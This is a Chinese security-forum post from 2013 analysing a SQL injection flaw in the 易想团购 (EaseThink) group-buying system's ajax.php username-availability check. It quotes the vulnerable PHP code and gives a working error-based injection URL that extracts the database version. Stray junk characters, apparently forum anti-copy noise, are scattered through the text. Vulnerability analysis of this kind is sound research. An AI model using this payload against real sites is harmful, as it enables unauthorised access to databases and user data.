找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2062|回复: 0
打印 上一主题 下一主题

易想团购ajax.php SQL注入分析和Exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:48:23 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
在注册的时候,输入用户名后台会验证用户名是否存在,当然是通过ajax去验证的也就是ajax.php。很多程序多会忽略这个导致存在SQL注入。
; w7 V* J$ d: q/ b+ r, ?/ a$ i( ^: w6 A1 Q* Q( O+ w6 B

/ {, y5 s) F$ E* G( I6 v: N4 d( H( y/ P! x6 T
* 验证会员数据          */         function check_user($field_name,$field_data)         {                 //开始数据验证                 $user_data[$field_name] = $field_data;                 $res = array('status'=>1,'info'=>'','data'=>''); //用于返回的数据                 if(trim($user_data['user_name'])==''&&$field_name=='user_name')                 {                         $field_item['field_name'] = 'user_name';                         $field_item['error']        =        EMPTY_ERROR;                         $res['status'] = 0;                         $res['data'] = $field_item;                         return $res;                 }                 if($field_name=='user_name'&&$GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."user where user_name = '".trim($user_data['user_name'])."' and id <> ".intval($user_data['id']))>0)//这里的$user_data['user_name']的值就是用户名提交过来的值,这里只是过滤了空格。所有存在SQL注入漏洞。                 {                         $field_item['field_name'] = 'user_name';                         $field_item['error']        =        EXIST_ERROR;                         $res['status'] = 0;                         $res['data'] = $field_item;                         return $res;                 } & e6 K% L8 N+ l
8 ]' d% W7 g& _6 V: K

, S  h/ @5 ?& [. T% H" u. a7 @
) W# E, {* t8 M7 v5 hExp:0 P1 U# u' K# `0 X

4 T6 ?* |3 |: X2 N" d
; k, n; M5 e5 U/ F: T( S; [0 g" t7 f. @. L8 Z( [7 r+ C. u- l
http://192.168.9.109/easethink_f ... ame&field_data=**/(select/**/1/**/from/**/(select/**/count(*),concat(version(),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23
% q& r+ x2 Z  j( j1 r" n
8 F" }& ^+ o3 v, Z* P4 S. n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表